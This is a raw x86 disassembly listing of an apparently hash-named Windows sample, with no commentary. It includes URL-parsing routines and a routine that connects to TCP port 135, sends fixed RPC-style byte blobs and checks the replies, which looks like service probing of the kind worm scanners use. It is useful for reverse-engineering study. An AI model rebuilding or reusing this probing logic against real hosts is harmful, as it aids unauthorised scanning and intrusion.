mov byte ptr [esp+9Ch+var_4], 9
call sub_401622
push offset asc_43BB68 ; ":"
lea edx, [esp+94h+var_24]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Ah
call sub_401622
lea edi, [esi+2Ah]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 0Bh
call sub_401E65
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Ah
call sub_4011F9
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 9
call sub_4011F9
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_4011F9
push offset byte_43FDC8
mov ecx, edi
call sub_4012B7
test eax, eax
jnz short loc_41F71E
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_4011F9
xor al, al
jmp loc_41F9E9
; ---------------------------------------------------------------------------
loc_41F71E: ; CODE XREF: sub_41F3E0+321j
push offset asc_43C2EC ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_401622
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Ch
call sub_401622
push offset asc_43BB68 ; ":"
lea edx, [esp+94h+var_24]
push 1
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Dh
call sub_401622
lea edi, [esi+3Fh]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 0Eh
call sub_401E65
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Dh
call sub_4011F9
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 0Ch
call sub_4011F9
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_4011F9
push offset byte_43FDC8
mov ecx, edi
call sub_4012B7
test eax, eax
jnz loc_41F903
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_4011F9
xor al, al
jmp loc_41F9E9
; ---------------------------------------------------------------------------
loc_41F7DC: ; CODE XREF: sub_41F3E0+100j
lea eax, [esp+98h+var_3C]
lea ecx, [esp+98h+var_84]
push eax
call sub_401622
push offset asc_43BB68 ; ":"
lea ecx, [esp+94h+var_24]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Fh
call sub_401622
lea edi, [esi+15h]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 10h
call sub_401E65
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Fh
call sub_4011F9
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], bl
call sub_4011F9
push offset byte_43FDC8
mov ecx, edi
call sub_4012B7
test eax, eax
jnz short loc_41F863
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_4011F9
xor al, al
jmp loc_41F9E9
; ---------------------------------------------------------------------------
loc_41F863: ; CODE XREF: sub_41F3E0+466j
push offset asc_43C2EC ; "/"
lea edx, [esp+94h+var_3C]
push 1
push edx
lea ecx, [esp+9Ch+var_84]
call sub_401622
push offset asc_43BB68 ; ":"
lea ecx, [esp+94h+var_24]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 11h
call sub_401622
mov ecx, eax
mov byte ptr [esp+90h+var_4], 12h
call sub_401726
push eax
call ds:dword_4B3AEC
add esp, 4
lea ecx, [esp+90h+var_24]
mov [esi+54h], eax
mov byte ptr [esp+90h+var_4], 11h
call sub_4011F9
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], bl
call sub_4011F9
cmp [esi+54h], ebx
jnz short loc_41F903
push offset aHttp ; "http"
mov ecx, esi
call sub_4012B7
test eax, eax
jnz short loc_41F8EC
mov dword ptr [esi+54h], 50h
loc_41F8EC: ; CODE XREF: sub_41F3E0+503j
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012B7
test eax, eax
jnz short loc_41F903
mov dword ptr [esi+54h], 15h
loc_41F903: ; CODE XREF: sub_41F3E0+3DBj
; sub_41F3E0+4F3j ...
push offset asc_43C2EC ; "/"
lea ecx, [esp+94h+var_84]
call sub_40138E
lea edx, [esp+90h+var_6C]
push eax
push edx
lea ecx, [esp+98h+var_84]
call sub_401CF8
push offset asc_43C2EC ; "/"
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 13h
call sub_40138E
push eax
lea eax, [esp+94h+var_24]
push eax
lea ecx, [esp+98h+var_6C]
call sub_401CF8
push eax
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 14h
call sub_401EAB
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 13h
call sub_4011F9
push offset asc_43C2EC ; "/"
lea ecx, [esp+94h+var_6C]
call sub_40138E
lea ecx, [esp+90h+var_24]
push eax
push ecx
lea ecx, [esp+98h+var_6C]
call sub_401CF8
push eax
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 15h
call sub_401EAB
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 13h
call sub_4011F9
add esi, 58h
push offset asc_43C2EC ; "/"
mov ecx, esi
call sub_401564
lea edx, [esp+90h+var_6C]
mov ecx, esi
push edx
call sub_40162C
lea ecx, [esp+90h+var_6C]
mov byte ptr [esp+90h+var_4], bl
call sub_4011F9
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_4011F9
mov al, 1
loc_41F9E9: ; CODE XREF: sub_41F3E0+2Aj
; sub_41F3E0+BAj ...
mov ecx, [esp+90h+var_C]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 84h
retn
sub_41F3E0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 190h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FBA0 proc near ; CODE XREF: sub_401A0Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov edx, [esp+arg_4]
push ebx
mov ebx, [esp+4+arg_C]
push ebp
sub edx, ebx
xor eax, eax
push esi
push edi
test edx, edx
jle short loc_41FBCB
loc_41FBB4: ; CODE XREF: sub_41FBA0+29j
mov esi, [esp+10h+arg_0]
mov edi, [esp+10h+arg_8]
add esi, eax
mov ecx, ebx
xor ebp, ebp
repe cmpsb
jz short loc_41FBD2
inc eax
cmp eax, edx
jl short loc_41FBB4
loc_41FBCB: ; CODE XREF: sub_41FBA0+12j
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FBD2: ; CODE XREF: sub_41FBA0+24j
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn
sub_41FBA0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41FBF0: ; CODE XREF: _294ADE7B:00401F23j
mov eax, 2010h
call sub_430390
mov eax, [esp+2018h]
push ebp
push esi
dec eax
push edi
jz short loc_41FC3D
dec eax
jz short loc_41FC17
dec eax
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_41FC17: ; CODE XREF: _294ADE7B:0041FC08j
mov eax, [esp+2020h]
push 1388h
push eax
call sub_401EA1
add esp, 8
neg al
sbb eax, eax
pop edi
pop esi
and eax, 3
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_41FC3D: ; CODE XREF: _294ADE7B:0041FC05j
push 6
push 1
push 2
call ds:dword_4B3CAC
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_41FD99
cmp esi, 0FFFFFFFFh
jz loc_41FD99
xor ecx, ecx
push 87h
mov [esp+10h], ecx
mov word ptr [esp+10h], 2
mov [esp+14h], ecx
mov [esp+18h], ecx
mov [esp+1Ch], ecx
call ds:dword_4B3CB0
mov edx, [esp+2020h]
mov [esp+0Eh], ax
push edx
call sub_4017C1
add esp, 4
mov [esp+10h], eax
lea eax, [esp+0Ch]
push 10h
push eax
push esi
call ds:dword_4B3CB4
cmp eax, 0FFFFFFFFh
jz loc_41FD92
mov ebp, ds:dword_4B3C9C
push 0
push 48h
push offset dword_43BCAC
push esi
call ebp
cmp eax, 0FFFFFFFFh
jz loc_41FD92
mov edi, ds:dword_4B3C6C
push 0
lea ecx, [esp+20h]
push 2000h
push ecx
push esi
call edi
cmp eax, 0FFFFFFFFh
jz loc_41FD92
cmp byte ptr [esp+1Eh], 0Ch
jnz loc_41FD92
push 0
push 18h
push offset dword_43BD20
push esi
call ebp
cmp eax, 0FFFFFFFFh
jz loc_41FD92
push 0
lea edx, [esp+20h]
push 2000h
push edx
push esi
call edi
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41FD92
cmp byte ptr [esp+1Eh], 2
jnz short loc_41FD92
push 10h
push offset dword_43BCF8
lea eax, [esp+24h]
push edi
push eax
call sub_401A0A
add esp, 10h
test al, al
jz short loc_41FD61
xor ecx, ecx
cmp edi, 12Ch
setnl cl
inc ecx
push esi
mov edi, ecx
call ds:dword_4B3CA8
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_41FD61: ; CODE XREF: _294ADE7B:0041FD3Ej
push 10h
push offset dword_43BD0C
lea edx, [esp+24h]
push edi
push edx
call sub_401A0A
add esp, 10h
neg al
sbb eax, eax
push esi
and eax, 3
mov edi, eax
call ds:dword_4B3CA8
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_41FD92: ; CODE XREF: _294ADE7B:0041FCABj
; _294ADE7B:0041FCC6j ...
push esi
call ds:dword_4B3CA8
loc_41FD99: ; CODE XREF: _294ADE7B:0041FC4Ej
; _294ADE7B:0041FC57j
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41FE20: ; CODE XREF: _294ADE7B:00401924j
xor al, al
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41FE40: ; CODE XREF: _294ADE7B:00401145j
; _294ADE7B:loc_40190Bj
push esi
mov esi, ecx
call sub_401550
test byte ptr [esp+8], 1
jz short loc_41FE58
push esi
call sub_430332
add esp, 4
loc_41FE58: ; CODE XREF: _294ADE7B:0041FE4Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FE70 proc near ; CODE XREF: sub_401550j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41FE70
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_4370B0
lea ecx, [esi+7Ah]
mov [esp+14h+var_4], 5
call sub_4011F9
lea ecx, [esi+65h]
mov byte ptr [esp+14h+var_4], 4
call sub_4011F9
lea ecx, [esi+50h]
mov byte ptr [esp+14h+var_4], 3
call sub_4011F9
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_4011F9
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_4011F9
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_4011F9
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401EC9
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41FE70 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FF40 proc near ; CODE XREF: sub_4011E5j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_4012D0
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4010CD
pop esi
pop ecx
retn 4
sub_41FF40 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FF80 proc near ; CODE XREF: sub_401807j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_40182A
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
sub_41FF80 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FFC0 proc near ; CODE XREF: sub_40175Dj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401898
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_40147E
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_4018BB
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401870
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
sub_41FFC0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420030 proc near ; CODE XREF: sub_40147Ej
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_401EE2
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401D84
mov eax, esi
pop esi
retn 4
sub_420030 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420070 proc near ; CODE XREF: sub_401898j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401D84
mov eax, esi
pop esi
retn 4
sub_420070 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4200A0 proc near ; CODE XREF: sub_401FDCj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401898
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401825
pop esi
pop ecx
retn 4
sub_4200A0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4200E0 proc near ; CODE XREF: sub_40166Dj
push esi
mov esi, ecx
call sub_401910
mov eax, esi
pop esi
retn
sub_4200E0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420100 proc near ; CODE XREF: sub_4011FEj
mov eax, [ecx]
push eax
call sub_4010DC
add esp, 4
retn
sub_420100 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420120 proc near ; CODE XREF: sub_401078j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401EE2
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_420120 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420150 proc near ; CODE XREF: sub_401749j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401E9C
neg al
sbb eax, eax
inc eax
retn 4
sub_420150 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420180 proc near ; CODE XREF: sub_40164Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_4011EA
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
sub_420180 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4201C0 proc near ; CODE XREF: sub_401226j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401398
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401406
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40100F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_402022
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
sub_4201C0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420230 proc near ; CODE XREF: sub_401406j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_4010F5
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401C4E
mov eax, esi
pop esi
retn 4
sub_420230 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420270 proc near ; CODE XREF: sub_401398j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401C4E
mov eax, esi
pop esi
retn 4
sub_420270 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4202A0 proc near ; CODE XREF: sub_4012E4j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401398
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401AB4
pop esi
pop ecx
retn 4
sub_4202A0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4202E0 proc near ; CODE XREF: sub_401A4Bj
push esi
mov esi, ecx
call sub_401186
mov eax, esi
pop esi
retn
sub_4202E0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420300 proc near ; CODE XREF: sub_401050j
mov eax, [ecx]
push eax
call sub_401087
add esp, 4
retn
sub_420300 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420320 proc near ; CODE XREF: sub_401771j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4010F5
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_420320 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420350 proc near ; CODE XREF: sub_401285j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401C21
neg al
sbb eax, eax
inc eax
retn 4
sub_420350 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420380 proc near ; CODE XREF: sub_4010CDj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401D93
mov edi, eax
push edi
call sub_401A32
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401348
push edi
mov ebx, eax
call sub_401A32
push edi
mov [eax], ebx
call sub_401A32
mov edi, [eax]
push edi
call sub_401A32
mov ecx, [eax]
push ecx
call sub_40155F
mov edx, [esp+1Ch+arg_8]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_40114F
add esp, 4
mov ecx, esi
push eax
call sub_401D0C
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+10h+arg_0]
mov ecx, esi
call sub_401C5D
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
sub_420380 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420420 proc near ; CODE XREF: sub_401825j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4010B4
mov edi, eax
push edi
call sub_401BD1
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_40182A
push edi
mov ebx, eax
call sub_401BD1
push edi
mov [eax], ebx
call sub_401BD1
mov edi, [eax]
push edi
call sub_401BD1
mov ecx, [eax]
push ecx
call sub_401EE2
mov edx, [esp+1Ch+arg_8]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_4010DC
add esp, 4
mov ecx, esi
push eax
call sub_40172B
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+10h+arg_0]
mov ecx, esi
call sub_401D84
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
sub_420420 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4204C0 proc near ; CODE XREF: sub_4018BBj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401749
test al, al
jz short loc_42051A
loc_4204D8: ; CODE XREF: sub_4204C0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401F41
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401938
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401749
test al, al
jnz short loc_4204D8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_42051A: ; CODE XREF: sub_4204C0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_4204C0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420550 proc near ; CODE XREF: sub_40182Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 24h
call sub_401CC6
mov edi, [esp+8+arg_0]
mov esi, eax
test edi, edi
jnz short loc_420565
mov edi, esi
loc_420565: ; CODE XREF: sub_420550+11j
push esi
call sub_401EE2
mov [eax], edi
mov edi, [esp+0Ch+arg_4]
add esp, 4
test edi, edi
jnz short loc_42057A
mov edi, esi
loc_42057A: ; CODE XREF: sub_420550+26j
push esi
call sub_401BD1
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
sub_420550 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4205A0 proc near ; CODE XREF: sub_401870j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4014DD
retn 4
sub_4205A0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4205C0 proc near ; CODE XREF: sub_401EE2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_4205C0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4205E0 proc near ; CODE XREF: sub_4010DCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_4205E0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420600 proc near ; CODE XREF: sub_401910j
mov eax, ecx
retn
sub_420600 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420620 proc near ; CODE XREF: sub_401D84j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4014B5
mov eax, esi
pop esi
retn 4
sub_420620 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420650 proc near ; CODE XREF: sub_401E9Cj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_420650 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420680 proc near ; CODE XREF: sub_401AB4j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401811
mov edi, eax
push edi
call sub_4010D2
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_4011EA
push edi
mov ebx, eax
call sub_4010D2
push edi
mov [eax], ebx
call sub_4010D2
mov edi, [eax]
push edi
call sub_4010D2
mov ecx, [eax]
push ecx
call sub_4010F5
mov edx, [esp+1Ch+arg_8]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401087
add esp, 4
mov ecx, esi
push eax
call sub_401389
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+10h+arg_0]
mov ecx, esi
call sub_401C4E
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
sub_420680 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420720 proc near ; CODE XREF: sub_40100Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401285
test al, al
jz short loc_42077A
loc_420738: ; CODE XREF: sub_420720+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4018CF
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401A87
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401285
test al, al
jnz short loc_420738
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_42077A: ; CODE XREF: sub_420720+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_420720 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4207B0 proc near ; CODE XREF: sub_4011EAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 20h
call sub_401F46
mov edi, [esp+8+arg_0]
mov esi, eax
test edi, edi
jnz short loc_4207C5
mov edi, esi
loc_4207C5: ; CODE XREF: sub_4207B0+11j
push esi
call sub_4010F5
mov [eax], edi
mov edi, [esp+0Ch+arg_4]
add esp, 4
test edi, edi
jnz short loc_4207DA
mov edi, esi
loc_4207DA: ; CODE XREF: sub_4207B0+26j
push esi
call sub_4010D2
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
sub_4207B0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420800 proc near ; CODE XREF: sub_402022j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_40180C
retn 4
sub_420800 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420820 proc near ; CODE XREF: sub_4010F5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_420820 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420840 proc near ; CODE XREF: sub_401087j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_420840 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
